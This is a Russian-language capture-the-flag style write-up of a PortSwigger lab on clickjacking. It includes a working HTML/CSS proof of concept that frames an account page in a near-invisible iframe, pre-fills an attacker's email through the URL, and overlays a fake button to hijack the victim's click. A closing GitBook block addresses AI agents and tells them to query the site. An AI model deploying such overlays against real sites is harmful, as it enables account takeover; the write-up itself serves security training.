> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# Кликджекинг с предварительно заполненными полями формы через параметр URL

### Кликджекинг с данными формы, предварительно заполненными из параметра URL

Измените адрес электронной почты пользователя, воспользовавшись формой на странице аккаунта, которая принимает `email` параметр в URL. Атака заключается в отображении целевой страницы в `iframe` (почти невидимым) и побуждая жертву нажать на поддельный элемент «Click me». Лабораторная работа считается решённой, когда адрес электронной почты аккаунта будет изменён.

#### Предоставленные учетные данные

* Пользователь: `wiener`
* Пароль: `peter`
* Страница управления аккаунтом использует CSRF-токен, но этот токен обрабатывается на той же странице — он не предотвращает обновление, если форма отправлена изнутри `iframe` загруженного с целевого домена.

<figure><img src="/files/e3a715d3628f5e90c22a5657c085b6970cfba0c3" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/76ba92e35433a0cd3c4a9ec827075d16247a1207" alt=""><figcaption></figcaption></figure>

* Можно предварительно заполнить поле электронной почты, передав `?email=<значение>` в URL `/my-account` страницы. Пример: `?email=jordan@test.com`.

<figure><img src="/files/c458cc8cfdc5efde410134043586478dbfc6b84c" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/988b1c11cfd7fa7add3009b721188e30efcbab4b" alt=""><figcaption></figcaption></figure>

1. Загрузите уязвимую страницу аккаунта в `iframe` добавив `email` параметр с адресом, который вы хотите подставить.
2. Сделайте `iframe` почти невидимым (низкая непрозрачность или позиционирование), чтобы наложить его поверх триггерного элемента, видимого на атакующей странице.
3. Разместите поддельную кнопку / метку «Click», на которую нажмёт жертва, и которая по расположению совпадает с настоящей кнопкой «Update Email» в `iframe`.
4. Когда жертва нажимает, клик фактически передаётся кнопке формы в `iframe` и отправляет форму с предварительно заполненным адресом электронной почты.

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>Нажми</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/c01d76066f39757ada462f3bb0038523a571ee7c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
